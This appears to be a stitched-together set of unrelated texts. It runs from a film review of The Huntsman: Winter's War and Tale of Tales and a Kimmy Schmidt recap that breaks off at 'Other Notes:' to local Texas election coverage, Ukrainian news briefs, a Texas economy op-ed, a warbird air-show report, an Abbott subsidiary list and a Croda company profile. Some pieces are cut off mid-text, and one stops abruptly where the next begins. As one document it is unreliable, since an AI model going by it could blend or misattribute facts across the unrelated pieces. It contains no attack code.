I should have said that this is a sequel and a prequel. The long first chapter takes place before Snow White and the Huntsman, at which point the film jumps ahead seven years to after Snow White has defeated Ravenna in battle. But Ravennas powerful mirror has disappeared, and whoever has the mirror has the power the mirror bestows, and are you bored reading this? Im nodding off typing it. When Theron oozed out of the mirror like the T-1000 and started zapping Hemsworth and Chastain and cackling about love making them pathetically weak, I wondered how grown-ups could do this stuff and look at their own reflections: Mirror, mirror on the wall: Whos the most ridiculous actor of them all?

Not Emily Blunt. She is, as Ive said, remarkable. Her normally ivory skin has been rendered even more lucent. Her eyes are like pale sapphires. But no makeup or lighting could do what she does with the simplest of means. Remaining almost perfectly still, she conveys with a tilt of her head and the odd semi-quaver the volcanic emotions within. Her sadness is so deep that you almost believe the stupid conceit that Freya wants to save her child soldiers from the cruel lie that is love by making them automaton killers.

The Italian-made Tale of Tales is in English, but its visual language feels abrasively unfamiliar. Its Italian settings are ancient and foreboding  primordial. Its magic is rough. The film is an adaptation by director Matteo Garrone of the work of Giambattista Basile, who, before his death in 1632, published moralistic tales of witches and ogres and imperiled princesses based on folk stories hed collected. His use of Neapolitan dialect remains fascinating to linguists, which isnt particularly germane to the movie, but I did the research and might as well use it.

Maybe it is germane. Having read the book (in Nancy L. Canepas marvelously accessible translation), I know that Garrone has made the stories even harsher and more unsettling than the originals  and captured in the process something otherworldly in Basiles language. The director has chosen three of the many stories and brusquely jumps among them. Those stories dont cohere but the themes do.

Tale of Tales, as I see it, is held together by the chimerical nature of flesh and, in particular, skin. Garrone opens with the plight of a king and queen (John C. Reilly and Salma Hayek) who cant conceive a child. A gangly, cadaverous necromancer (Franco Pistoni) says that grave sacrifices will have to be made, but that there is a solution: The king must cut out the heart of a sea monster. It must be cooked by a virgin (who must be alone) and must be eaten by the queen. He does not say that both the queen and the virgin will both become pregnant. The story resumes years later, when the boys from the queen and servant girl turn out to have the same pale skin and snowy-white hair (they are played by twins) and form a bond that drives the queen to try to separate them  at any cost.

The dragon killing is especially startling to those of us bored by the cheap miracles of CGI in such Hollywood epics as The Huntsman: Winters War. The king lumbers through the murk at the bottom of the sea in his clanky, 17th-century iron diving suit and finds the giant serpent peacefully asleep. He  and we  barely see the creature through his helmet, though its agony when skewered is palpable. The queen eats the huge heart  pulsating even when cooked  in a shot that is plain and disgusting and plainly disgusting. Having endured so much, it is hard to know why she begrudges her son his relationship with his twin from another kin. But thereby hangs a tale  a tragic one.

The other tales in Tale of Tales  both with kings  have even more to do with skin. A ruler (Toby Jones) raises a flea until its human-sized, flays it after its (sad) death, and offers the hand of his daughter (Bebe Cave) to the man who guesses the origin of the pelt. Alas, that man is a huge, bald, savage-looking ogre with a keen sense of smell  and he knows from pelts, because he hunts both wild animals and, evidently, people. Perhaps its a metaphor: One should not secure a husband on the basis of skin.

In the third, most vivid story, a randy monarch (Vincent Cassel) hears the gorgeous singing voice of an elderly peasant woman (Hayley Carmichael) who lives with her sister (Shirley Henderson), and, thinking shes as youthful as her voice, woos her through her front door. What happens next is upending and, finally, devastating. The creases in her skin are taped over to keep the king from discerning her age in the sack, but the morning light is unkind. She is rejected  and then magically rejuvenated. The plot turns not on her but on her simpleminded sister, who goes about acquiring her new skin in the grisliest manner imaginable.

Tale of Tales is patchy and often jarringly unpleasant. Its not a fairy tale for kids  unless theyve been watching Game of Thrones and have developed a fondness for flaying. But I dont think Garrones cruelty is gratuitous. As Gomorrah suggests, hes not by nature a moralist but a tragic ironist. People die and rot with their hopes intact. Above all, he understands the uses of classic fairy tales: why they were conceived and passed on, before Hollywood came along and made them skin-deep. They were  and are  a means of demonstrating the limits of earthly desire, of going literally and metaphorically under the skin.
This show is certainly full of surprises. As with most season-opening flash-forwards, I wasnt expecting the Christmas scene to arrive until the finale, but it turns out Kimmy and friends were celebrating Fake Christmas all along. Your questions, answered: The Jews who stole Jacquelines Mondrian actually had it stolen from them by the Nazis; Sonya is calling Kimmy a ho because she found her scrunchie under Dongs pillow; Mimi Knassis is passed out on the couch because she had nowhere else to go on Fake Christmas (which, as Titus reminds Kimmy, just means she had nowhere to go on a Thursday).

This Fake Christmas, the greatest gift of all is that Unbreakable Kimmy Schmidt chose not to push the Dong-related stuff to the finale. Instead, Dong admits that trying to keep Kimmy away just isnt worth it, even if he ends up getting deported. While a fun episode could have been had with just Dong and Kimmy goofing off in their abandoned hotel in the Poconos, Im also equally impressed that UKS decided to address the elephant in the room of Kimmy losing her virginity (or at least the virginity she gets to choose losing  although Kimmy was definitely assaulted in the bunker, the show always shies away from saying whether she was outright raped).

Having Kimmy back off from sex altogether would have been easy, given her simmering PTSD (she beans poor Dong with a phone twice just for kissing her). Instead, the show digs in and extends her characters insistent resilience to sex, having her take the lead on buying lingerie (admittedly a kids outfit from Frozen, but still), purchasing condoms, and ultimately, doing the deed in the back of a cop car. Its awesome that the show is being less protective of Kimmy, as she begins to really engage with hard topics instead of bolting right past them into a cloud of sunshine and flowers. Another hard topic that itll definitely have to address: Dong is almost certainly getting deported, thanks to his and Kimmys arrest for trespassing in the hotel/federal raccoon sanctuary. Not sure how theyll write their way out of that corner  hopefully, it wont be via Kimmy getting pregnant, since Dongs latex allergy almost certainly means they didnt use a condom.

While Kimmy is stumbling towards adulthood, Jacqueline is regressing. Its not surprising to see her latch back on to the idea of tying herself to a rich man (in this case, David Crosss weirdo art lawyer), given how much the chips are down: Her Native-American cause is a bust, her money is quickly running out, and now that $11.5 million Mondrian is on its way back to the Wiener-Hurtzalot-Kouzabutts clan with no financial recourse. Of course, that doesnt make it any less painful to watch Jacqueline give up. The characters shown so much growth and resilience this season (including not destroying the Mondrian to get the insurance money, despite Lillians offer to hook her up with a guy who rigs WNBA games), and it would be a bummer to see all of that progress disappear.

The only character who ends up fully committing to Fake Christmas is Titus, who finds himself becoming Scrooge for a day after hes forced to manage the restaurant. This plot line is underbaked, since its just a couple of scenes, but it does manage to wedge in a couple of good jokes, namely when Titus sees the ghost of Christmas past in the form of a young waiter getting to take on his role (Good-bye Rodney Simmons, hello Troilus Cressibo, star on the rise!) and the ghost of Christmas future in the form of President Obama going gray.

The Scrooge plot line mostly serves as an excuse for Titus to quit his job (presumably to allow for some other, weirder career paths), and reunite with his fake family in a charming final scene of carols around the piano, complete with asbestos snow falling from the ceiling. To the tune of O Come All Ye Faithful, they sing: Come on lets order pizza / Come on lets order pizza / Id also order Mexican / Im ooooooout of cash.

Other Notes:
Three incumbents and a challenger are running for three open seats on the Lorena City Council, each touting their ability to manage city growth.

Jeff Linnstaedter, 48, is challenging incumbents Robert Braswell, 60; Kelly Yarbrough, 50; and J. Fagner, 34.

Council members are elected at-large annually for two-year terms. The three candidates who get the most votes in the May 7 joint general election will win the three seats.

Early voting runs 8 a.m. to 5 p.m. Monday through Friday and from 7 a.m. to 7 p.m. April 30, May 2 and May 3.

Early voting locations include McLennan County Elections Administration Office Records Building, 214 N. Fourth St., Suite 300, in Waco; Bellmead City Hall, 3015 Bellmead Drive; and First Assembly of God Church, 6701 Bosque Blvd., in Waco.

Linnstaedter said he moved to Lorena in 2009 and works for the school district so he has a vested interest in the city. He serves as the director of business and finance for Lorena ISD, and his wife also works at the district where their children attend. Linnstaedter said his background could bring a comfort to a council that is facing an expanding city.

With all the interstate expansion and other things going on, I just really would like to be involved in the growth in the community and ensuring that growth is a healthy growth, he said.

Linnstaedter said he would be a voice for residents concerns.

Its not going to sit still. Its either going to improve, or grow, or its going to decline, he said.

Addressing and managing growth are also main focuses for the incumbents.

Braswell said he has unfinished business on the council.

Braswell, who has served three terms, said he is more qualified for the seat than his opponent and doesnt think the current council should be disrupted as the members work cohesively.

Weve made good decisions in the last few years, he said, citing the hiring of new city manager Joseph Pace.

He said the city is in the midst of working on the newly created Tax Increment Reinvestment Zone, created to finance public improvements by encouraging development and improving the tax base.

I think to change up the council right now would be a mistake, Braswell said.

Braswell said he moved to Lorena in 1983 and thinks he can help create a better city for its residents.

Yarbrough said after taking over a vacated council seat, then being elected to the seat, she has accumulated plenty of experience on the council and understands the citys needs.

Yarbrough, who previously served on the citys economic development corporation, said the future growth of the city is an opportunity and an challenge.

We want to ensure that the growth is measured in such a way that it brings jobs and opportunities to the city, but yet at the same time, we want to ensure it doesnt tax our system with the kinds of infrastructure that is going to be needed to sustain that, said Yarbrough, operations director for programs at the Texas Department of Assistive and Rehabilitative Services.

Construction along Interstate 35 has hurt surrounding businesses as access has been difficult and created a challenge. She said the city needs to help build the economy back up and support its local companies.

Change is going to be inevitable regardless, so we are working to ensure those changes are positive for the city in the end, Yarbrough said.

She said her family has made Lorena their home since 1999, and it is the only city her children have ever known.

I want to make sure their hometown maintains its community and heritage while at the same time growing, she said.

Since serving on the council, she said, she has aimed at asking intelligent questions and helping maintain the budget.

Fagner, Baylor University assistant director for electronic marketing, is seeking his third term on the council.

Having lived in the community nine years, Fagner said he loves being a part of helping the city grow. He said he is excited about where Lorena is and where its going and he wants to be a part of the citys success.

Like most of Texas, Lorena is facing the challenges and opportunities that accompany growth, he said. Fagner said he wants to continue to work to ensure proper infrastructure is in place to handle incoming homes and businesses.

Fagner said he also wants to continue to work to ensure the proper ordinances are in place to manage growth without hurting the city, make sure property values are protected, and that the city continues to be an attractive place for families and businesses.
Ukrainian verdict against Russians Alexandrov, Yerofeyev will not come into force before May 25

Oksana Sokolovska, the lawyer for Yevgeny Yerofeyev, a Russian citizen convicted in Ukraine, said that the verdict of the Holosiyivsky district court of Kyiv against her client and another convicted Russian, Alexander Alexandrov, will go into effect no sooner than May 25, 2016, because the verdict has yet to be translated into Russian, and given to the convicts.

"Because a copy of the verdict from the Holosiyivsky district court of Kyiv, with respect to Yerofeyev and Alexandrov, still has not been translated into Russian, and handed to the convicts, the 30-day period for filing an appeal has not started yet. There is a view that the convicts will not get the verdict before April 25, 2016. Therefore, the verdict will not come into effect before May 25, 2016," Sokolovska wrote on her Facebook page on Thursday.

It was reported that on April 18, 2016, a panel of judges at the Holosiyivsky district court of Kyiv sentenced the two Russians to 14 years of imprisonment.

On May 16, 2015, Russian citizens Alexandrov and Yerofeyev were detained near the town of Schastia, Luhansk region of Ukraine, according to Kyiv, in an attempt to seize a strategic bridge.

On May 19, Ukrainian detectives told the Russians that they were suspected of crimes stipulated under Article 258-3 of the Ukrainian Penal Code for involvement in terrorist activities. The Kyiv Shevchenkivsky District Court ordered their arrest on May 22.
A Beverly Hills resident is challenging three incumbents in the May 7 election for a chance to serve on the city council.

Rita Ms. Z Zolecki, 62, a retired veteran, filed for an at-large seat against council members Michael Thompson, 63, who is retired; Tony Garcia, 32, a student; and Mayor Pro Tem Joe Frank Holder, 86.

The three candidates with the most votes in the election will take the seats.

Early voting runs 8 a.m. to 5 p.m. Monday through Friday and May 3. Early voting is also available from 7 a.m. to 7 p.m. April 28. Residents can vote at the city of Beverly Hills City Hall, 3418 Memorial Drive, Beverly Hills.

Zolecki said she is concerned the council isnt making wise choices and feels her background would benefit the city council. Zolecki said she was a schoolteacher for 22 years and still works with children in the neighborhoods.

She said she is a 100 percent stable disabled Vietnam veteran with post-traumatic stress disorder and suffered military sexual trauma, after serving from November 1974 through September 1976 in the Army. Zolecki said she has lived in Beverly Hills since 2009 and thinks the city needs to do more for veterans.

With the VA being right here on Memorial Drive, I think maybe we need to do more communitywide things for veterans, she said. The VA is a major part of Beverly Hills.

Zolecki said she knows she is facing an uphill battle running against incumbents.

Im the little lady thats ready to do her duty, and its going to be up to the voters, she said. We are a community of a little over 3,000, and I just decided to throw my name in the ring and see how it came.

Zolecki said it is time for her to enter politics to help make a difference and she hopes to eventually serve as mayor, then work my way up as far as I can.

Holder said he initially had no intentions of running again for office after having served on the council for 33 years. He said he signed up when there were only two people registered to run, so that the city wouldnt have to spend money trying to fill the third vacancy by holding an election.

Holder said he served six years as mayor and he has enjoyed his time on the council.

Were just going to see how it comes out, he said. If I dont get elected, its OK.

Thompson, who has lived in the city 26 years, has served a decade on the council.

He said it is a small city with a relatively older population, and he fits the bill to provide proper representation.

Thompson said he wants to see through projects that are in progress and in the works since hes been on the council, especially road work. He said his other focus is attracting new businesses to the area. Thompson said the area could use the help with the tax base so residents could be further provided for.

Thompson said he thinks the council has done a lot of good things since he has been on board.

It gives you a sense of fulfillment when things are accomplished, he said.

Garcia hopes to get a second term on the council.

Garcia has lived in Beverly Hills all his life and is studying at Texas State Technical College working toward an associates degree.

Me living here almost all my life, we have an amazing council now. We have an amazing mayor. Hes awesome, Garcia said. We have a good team going now.

Garcia said he works hard to connect to everyone in the city to help ensure their needs and concerns are met by the council. He said there is always room for improvements and feels he has built a level of trust in the community while serving. Garcia said he wants to continue to work to improve the streets.

Im good at asking a lot of questions, he said.
Baylor University President Ken Starr called Christians to action Thursday afternoon in a panel discussion about violence in the Middle East.

He was joined by former U.S. Congressman Frank Wolf, Pastor Jalil Dawood of the Arabic Church of Dallas and Jason Peters, associate vice president of connection for The Voice of the Martyrs, an international ministry that aids persecuted Christians.

We can, in fact, engage through our own self-education, Starr said. And we can speak to the entire world  not just the community of believers  but all persons of good will by educating ourselves.

He said Christians live in an increasingly secular world with growing skepticism about the role of faith but turned to the Universal Declaration of Human Rights, which was adopted by the United Nations in 1948.

Everyone has the right to freedom of thought, conscience and religion. This right includes freedom to change his or her religion or belief and freedom either alone or in community with others and in public or private to manifest his religion or belief in teaching, practice, worship and observance.

Wolf, a Virginia congressman from 1981 to 2014, spoke of his visits with refugees in the Middle East. He said he met with two girls who were raped because of their Christian faith.

We have an obligation, Wolf said. We have a duty, a moral obligation to give counseling, and trauma changes. Im asking the administration to send international justice ministry and world ministry to help them.

He said there were 1.5 million Christians in Iraq in 2003 and about 250,000 today, and 17 Christian families are forced out each day. He also said there were 150,000 Jews in Iraq in 1950 and about 10 Jewish families today.

Dawood, a Baghdad, Iraq, native, left the city in 1982 as an 18-year-old because of religious persecution. He said Christians were treated as third-class citizens, behind Shiite and Sunni Muslims.

We are in troubled times, Dawood said. Not there where (Jesus) talked about, but we are getting there.

Dawood founded World Refugee Care, which aims to rebuild refugees lives around the world.

Peters also told stories of meetings with refugees and those persecuted because of their Christianity.

He said one man had been shot in the face after refusing to denounce God. After a miraculous recovery, the man maintains he would forgive the shooter today, Peters said.

According to the International Society for Human Rights, 80 percent of religious discrimination around the world is directed at Christians. The panelists focused on concrete solutions.

Dawood and Peters advocated for their organizations, which both accept online donations. Peters handed out bags to be filled with toiletries and other items for refugees. The Voice of the Martyrs nonprofit will collect them and send them to the Middle East.

Wolf and former U.S. Congressman Chet Edwards, who was in the audience, urged attendees to write to their congressmen concerning relevant votes.

Starr said refugees should be welcomed in the United States.

Its very important for the integrity of American law that someone who establishes that he or she has that well-founded fear of persecution shall not be sent back home, Starr said, referring to the Geneva Conventions definition of a refugee. That would be a terrible violation of American law, but it would also be a fundamental violation of the basic principles for which we stand in the United States of America.
The Texas economy  long a standout among the states and a major source of Lone Star bragging rights  has gained national attention as the Texas Miracle. Over the past eight years alone, Texas annual job growth has exceeded the nations growth by a factor of four, with Texas adding jobs at a robust 2 percent clip, even in the face of a severe recession.

But much of that growth has been fueled by oil and gas, which is five times more important to our economy than to the nations. The recent price drop has been a body blow to our state. For the first time in 12 years, Texas job engine lags the rest of the nation.

Over the past year, oil and gas companies have shuttered more than 600 operating rigs, cut investment by more than $40 billion and slashed payrolls by 65,000, with the further ripple effect of 250,000 jobs lost in other sectors.

Yes, oil and gas still matters in Texas, which produces over a third of the nations oil. In 2014, the industry accounted for 13.5 percent of Texas economic output. Cutting that output by more than half takes a toll on Texas overall numbers.

The Texas Miracle, at least for now, appears to be on ice.

Thats not to say the Texas economy is not growing; some parts of the state are doing quite well. But hard times in the oil patch mean Houston, the energy capital of the world, and other oil- and gas-producing areas will continue to experience rough waters that will splash onto other parts of the state. And while Texas will still add another 1 percent to its jobs tally in 2016, that is less than the state is used to and less than the nation overall.

Still, unlike in previous oil and gas busts, Texas state finances remain sound for several reasons. First, our revenue structure is more diversified than 30 years ago. While still critical to the economy, oil and gas is a smaller player.

Second, much of the oil downturn was factored by the Texas Comptroller into his official revenue forecast and by legislators into the states budget. Legislators last session left a $4.2 billion cushion in the general revenue fund and roughly $10 billion in the states Rainy Day Fund. This sizeable insulation will allow us to weather the downturn without the usual fiscal crisis.

Third, todays high production levels lessen the depth of the price crash. Texas oil production today is about 50 percent higher than it was during the 1986 downturn and almost three times higher than it was in 2008. Natural gas production also is substantially higher.

Absent a national recession, Texas state finances are likely to remain in the black for the foreseeable future, even if oil prices continue to be weak.

What can we expect? The price of Texas oil is predicted to fluctuate substantially while averaging under $40 a barrel  about $10 below 2015s level. Natural gas prices are expected to hover near 2015 levels. Unable to make money at those prices, producers will continue to cut capital budgets, drill fewer wells, employ fewer people and produce less oil than in years past.

While oil and gas and related industries will continue to suffer, Texas also has a large energy-consuming economy helped by low energy prices, including new chemical plants and natural gas export facilities projects along the Gulf Coast. Other bright spots in the economy will be housing construction, service industries and health care.

While 2016 may be a challenging year in Texas, it is a testament to the economys underlying strength that the state has continued to add jobs as oil prices and drilling have slid to a third of what they once were.

The Texas Miracle may be on ice for now, but as oil prices and drilling stabilize, the thaw will come.

Dale Craymer is president of the Texas Taxpayers and Research Association (www.ttara.org), a nonprofit, membership-supported organization of businesses and individuals interested in the state and local fiscal policies in Texas and the way those policies impact the economy.
First Vice Premier Kubiv will be responsible for cooperation of Cabinet and Rada

First Vice Prime Minister, Minister of Economic Development and Trade of Ukraine Stepan Kubiv will be responsible for cooperation between the Cabinet of Ministers and the Verkhovna Rada.

"On behalf of the prime minister, as agreed with the government, I will be responsible for work of the government with the parliament," Kubiv said at a meeting of the coordination board of the leaders of factions, committees and groups.

He promised he would act as efficiently as possible.

Kubiv also said that as agreed with Parliament Speaker Andriy Parubiy, Prime Minister of Ukraine Volodymyr Groysman, he would meet with the leaders of parliamentary committees.
April 2016 Heritage Flight Museum Fly Day Report

by Joe Kunzler

With several of their aircraft still undergoing annual inspections, the Heritage Flight Museum at Skagit Regional Airport in Burlington, Washington kicked off the 2016 Puget Sound air show Season in style with ample help from their friends from across the region. The museums mission statement, To help educate the public so that they might understand and appreciate the contribution military aircraft, and the people that flew them, have made to our heritage, national security and freedom, was clearly being honored as they filled Skagitonian skies with the joyful sounds of radial engines, along with the occasional purr of a Rolls-Royce Merlin on April 16th, 2016.

At the 10 oclock volunteer briefing, Executive Director Lt.Col. Greg Anders (USAF Retired) started the proceedings by stressing that the event would focus primarily upon practicing ground and aircrew operational safety. This was especially important as the Heritage Flight Museum had only recently won an occupancy permit from Skagit County authorities allowing them to conduct fly days each third Saturday of the month until October. As an additional benefit, the museum would now also receive a small slice of local lodging tax to help advertise the museum in collaboration with a recently concluded, local festival. Several county officials would be in attendance, so it was extra-important that things ran smoothly, which of course they did.

The Fly Day featured the participation of a number of different warbirds from around the region. Multiple North American T-6 Texan variants arrived from the northern Puget Sound area, including a 1952-built Canadian Car & Foundry Harvard 4 from the Canadian Museum of Flight in Langley, British Columbia.

The Texans, along with the Harvard, flew in various formation patterns such as Echelon Right, The Diamond, and an Echelon Pair alongside its counterparts. The T-6 Texan is generally perceived as a good first warbird; easy to maintain and easy to teach the basics of warbird flying. In an interview with WarbirdsNews, Jeff Geer of Bravo 369 Foundation explained that the T-6 Texan is a well-balanced airplane, a wonderful formation trainer.

Geer went on to explain, There are a lot of things you need to do [to be proficient at formation aerial display]. Learn how to manage your power, your energy, everything. Once you learn the basic techniques, its just station keeping with your airplane.  You have to be ahead of it just a little bit [though].

The T-6 Texan is also very maintainer-friendly. For Geer, its a fairly easy aircraft to work on, its very accessible with lots of panels to take off if you need to do something. Unlike with other aircraft, its an easy introduction to warbird ownership, which helped explain the significant collection of T-6s at the event between the Heritage Flight Museums three variants, Bravo 369 Foundations SNJ-7 based out of Bellingham, two SNJs from private collectors and the Canadian Flight Museums Harvard 4.

Of course, Texans and Harvards were not the only participants in Fly Day festivities. Three Stearman biplanes  one belonging to the Heritage Flight Museum, another owned by active-duty US Navy Lt. Commander Alex Bock, and finally one formerly owned by the late Marine Corps aviator John Hubner who flew 275 combat missions over Vietnam  took flight and provided formation demonstrations.

Heritage Flight Museums North American Aviation P-51D Mustang Val-Halla also made two sorties, with multiple low approaches in front of the crowd. The aircraft is painted in tribute to the Heritage Flight Museums founder, Bill Anders, and his service in the US Air Forces 57th Fighter Interceptor Squadron, The Black Knights of Keflavik, guarding Iceland with Northrop F-89 Scorpions during the 1950s.

In recent years, the Heritage Flight Museum rescued a long-neglected Northrop F-89 Scorpion  53-2453  and restored her for static display. Thankfully, despite cloudy skies, the weather conditions permitted her cockpit to be open for the public to see inside. A future WarbirdsNews report will focus on this aircraft, but for now, enjoy a photo of the accurately, lovingly preserved steam gauges and traditional controls shown below.

Also beautifully preserved, but now for sale, was Steve Hewitts Beech 18 that served during WWII with the 10th Rescue Squadron at Ladd Field, Alaska as AT-7B Navigator 43-33306, complete with modified with wheel-skis. Beech only built nine AT-7Bs, so this is an exceedingly rare variant of the Beech 18! After the war, Beech re-manufactured the aircraft for the US Air Force as as a C-45G, with an autopilot and R-985-AN-3 engines. Following military service, the Twin Beech became a civilian Beech 18 and received additional modifications over the years with multiple civilian owners. The Twin Beech was open for public tours at Heritage Flight Museums fly day.

The aircraft is currently up for sale by the owner Steve Hewitt. Serious inquiries about the aircraft  currently north of $100,000  can be placed with Mr. Hewitt at snjhewitt@gmail.com.

Finally, as many will already know, museum founder, Bill Anders flew aboard the historic Apollo 8 lunar mission in December, 1968. As a consequence, many Apollo space program artifacts are preserved within the museums collection.

On May 14th, 2016, Apollo 8s crew: astronauts Frank Borman, Jim Lovell & Bill Anders, will gather at the Heritage Flight Museum to discuss the historical importance of Apollo 8. Their mission was full of firsts: first to fly the Saturn V, first manned mission to leave Earth orbit, first to orbit another celestial body and first to photograph the Earth rising. This fundraising event will also be streamed live across the planet. For more details on how to witness this unique event (whether online or in person), please click HERE. #APOLLO8LIVE
If NATO creates Black Sea flotilla, Ukrainian ships are ready to take part in it

Ukrainian Defense Minister Stepan Poltorak has said that Ukrainian ships are ready to join the initiative of the Black Sea flotilla.

"There is a corresponding Romanian initiative on the formation of the Black Sea flotilla in the Black Sea basin. It has been backed by several NATO countries. Ukraine is ready to take part in the flotilla (which was announced by the president of Ukraine). But this can happen only when a relevant decision is made," the minister told Interfax-Ukraine on Thursday.

He noted that the aim of this initiative is to ensure security in the Black Sea. "The ships will patrol and maintain order. Our ships are ready to join as soon as a relevant decision is passed," Poltorak said.

The defense minister did not elaborate which Ukrainian ships he meant specifically, noting that the details will be discussed after a decision by the Alliance.

Ukrainian President Petro Poroshenko said on Thursday that Ukraine and Romania had discussed an idea of setting up a Black Sea flotilla under NATO's auspices, and Kyiv was willing to join this unit in light of Russia's actions, particularly Crimea's militarization. This initiative was discussed because the security situation in the Black Sea has changed radically.
Ukraine and Romania plan to sign an agreement on the abolition of fees for long-term Romanian national visas on May 6, Ukrainian President Petro Poroshenko has said.

"We have left it for our [foreign] ministers to sign the agreement on May 6 when they will be meeting during the opening of the [Romanian] Consulate in Solotvyno. I hope that the agreement on a free provision of long-term national visas will be signed there," Poroshenko said during a joint press conference with Romanian President Klaus Iohannis in Bucharest on Thursday.
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Ltd., Inverness Medical Innovations Australia Pty Ltd., Inverness Medical Innovations Hong Kong Limited, Inverness Medical Innovations SK LLC, Inverness Medical Investments LLC, Inverness Medical LLC, Inverness Medical Shimla Private Limited, Inversiones K2 SpA, Inversiones Komodo S.R.L., Ionian Technologies LLC, Irvine Biomedical Inc., Kalila Medical, Kangshenyunga S.A., Knoll UK Investments Unlimited, LLC VeroInPharm, Laboratoires Fournier S.A.S., Laboratorio Franco Colombiano Lafrancol S.A.S., Laboratorio Franco Colombiano del Ecuador S.A., Laboratorio Internacional Argentino S.A., Laboratorio Synthesis S.A.S., Laboratorios Lafi Limitada, Laboratorios Naturmedik S.A.S., Laboratorios Pauly Pharmaceutical S.A.S., Laboratorios Recalcine S.A., Laboratorios Transpharm S.A., Laboratory Specialists of America Inc., Lafrancol Dominicana S.A.S., Lafrancol Guatemala S.A. Sociedad Anonima, Lafrancol Internacional S.A.S, Lafrancol Peru S.R.L, Lake Forest Investments LLC, Lightlab Imaging Inc., Limited Liability Company Abbott Laboratories, Limited Liability Company Abbott Ukraine, Limited Liability Company VEROPHARM, Lung Fung Hong (China) Limited, Mansbridge Pharmaceuticals Limited, MediGuide LLC, MediGuide Ltd., Medscreen Holdings Limited, Metropolitana Farmaceutica S.A., Midwest Properties LLC, Murex Argentina S.A., Murex Biotech Limited, Murex Biotech South Africa, Murex Diagnostics Inc., Murex Diagnostics International Inc., Natural Supplement Association LLC, Negocios Denia Sociedad Anonima, Neosalud S.A.C., Nether Pharma N.P. C.V., NeuroTherm LLC, Normann Pharma-Handels GmbH, North Shore Properties Inc., Novamedi S.A., Novasalud.com S.A., Nutravida S.A., OJSC Voronezhkhimpharm, Omnilab Iberia Sociedad Limitada, OptiMedica, Orgenics France SAS, Orgenics International Holdings B.V., Orgenics Ltd., PBM-Selfcare LLC, PDD II LLC, PDD LLC, PT Alere Health, PT. Abbott Indonesia, PT. Abbott Products Indonesia, Pacesetter Inc., Pantech (RF) (PTY) LTD, Pembrooke Occupational Health Inc., Penagos S.A., Pharma International Sociedad Anonima, Pharmaceutical Technologies (Pharmatech) S.A., Pharmatech Boliviana S.A., Polygon Labs S.A., Quality Assured Services Inc., RF Medical Holdings LLC, RTL Holdings Inc., Ramses Business Corp., Recben Xenerics Farmaceutica Limitada, Redwood Toxicology Laboratory Inc., Rich Horizons International Limited, SC VEROPHARM, SJ Medical Mexico S de R.L. de C.V., SJM International Inc., SJM Thunder Holding Company, SPDH Inc., Saboya Enterprises Corporation, Salviac Limited, Scanax AS, Sealing Solutions Inc., Selfcare Technology Inc., Shandong Abbott Dairy Product Co. Ltd., Shanghai Abbott Medical Devices Science and Technology Co. Ltd., Shanghai Abbott Pharmaceutical Co. Ltd., Shanghai Si Fa Pharmaceutical Company Limited, Sinensix & Co., Spinal Modulation LLC, St. Jude Medical, St. Jude Medical AB, St. Jude Medical ATG Inc., St. Jude Medical Argentina S.A., St. Jude Medical Asia Pacific Holdings GK, St. Jude Medical Atrial Fibrillation Division Inc., St. Jude Medical Brasil Ltda., St. Jude Medical Business Services Inc., St. Jude Medical Cardiology Division Inc., St. Jude Medical Colombia Ltda., St. Jude Medical Coordination Center, St. Jude Medical Costa Rica Limitada, St. Jude Medical Europe Inc., St. Jude Medical Export Ges.m.b.H., St. Jude Medical GVA Sarl, St. Jude Medical Holdings B.V., St. Jude Medical India Private Limited, St. Jude Medical International Holding, St. Jude Medical LLC, St. Jude Medical Luxembourg, St. Jude Medical Luxembourg Holdings II, St. Jude Medical Luxembourg Holdings NT, St. Jude Medical Luxembourg Holdings SMI S.a r.l., St. Jude Medical Luxembourg Holdings TC S.a r.l., St. Jude Medical Mexico Business Services S. de R.L. de C.V., St. Jude Medical Middle East DMCC, St. Jude Medical Operations (Malaysia) Sdn. Bhd., St. Jude Medical Puerto Rico LLC, St. Jude Medical S.C. Inc., St. Jude Medical Systems AB, St. Jude Medical Turkey Medikal Urunler Ticaret Limited Sirketi, Standard Diagnostics Inc., Standing Stone LLC, Swan-Myers Incorporated, TC1 LLC, Tendyne Holdings Inc., Tendyne Medical Inc., Thoratec Delaware LLC, Thoratec Europe Limited, Thoratec LLC, Thoratec Switzerland GmbH, Tobal Products Incorporated, Topera GmbH in Liquidation, Topera Inc., Tremora S.A., Tuenir S.A., TwistDx, UAB Abbott Laboratories, UAB Abbott Medical Lithuania, Union-Madison Realty Company Inc., Unipath Limited (dba Alere International/aka Cranfield), Unipath Management Limited, Unipath Pension Trustee Limited, Veropharm, Veropharm Limited Liability Partnership, Vida Cell Inversiones S.A., Vida Cell S.A., Vivalsol, W&R Pharma Handels GmbH, Western Pharmaceuticals S.A., X Technologies Inc., Yissum Holding Limited, ZonePerfect Nutrition Company, eScreen Canada ULC, eScreen Inc.,      ( ), and Abbott Laboratories Baltics.

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Croda International Plc creates, makes, and sells specialty chemicals in Europe, the Middle East, Africa, North America, Asia, and Latin America. It operates through four segments: Consumer Care, Life Sciences, Performance Technologies, and Industrial Chemicals. The company offers adhesives; crop protection additives and adjuvants, seed enhancement and animal health chemicals, chemical bio-stimulants, and specialty additives for agricultural films; and lubricant additives, coatings and polymers, vehicle cleaning chemicals, and products for automotive textiles and fibers, as well as specialty additives for plastics, and battery and catalyst industries. It also provides specialty ingredients for self-tanning, color cosmetics, bath and shower, deodorants, anti-perspirants, depilatories, men's grooming, and oral hygiene, as well as skin, hair, sun, body, and baby care applications; construction chemicals and bitumen additives; dietary supplements; and materials and polymer additives for electronics and devices. In addition, the company offers chemistries, emulsifiers, fuel and power generation additives, and polymer additives; food additives; specialty polymer additives for furniture and wood applications; household, industrial, and institutional cleaning products; lubricants; oleochemicals; and packaging, print, and paper chemicals. Further, it provides paints and coatings; active pharmaceutical ingredients; thermal management products; plastic and rubber products; skin health products; hygiene and industrial nonwovens, botanical extracts, tissues, and textile auxiliaries; and water treatment chemicals. Additionally, the company offers bio-based phase change materials for buildings and ventilation, clothing and healthcare, electronics and devices, food and refrigeration, energy storage and recovery, temperature controlled packaging, and vehicles and automotive applications. The company was incorporated in 1925 and is headquartered in Goole, the United Kingdom.
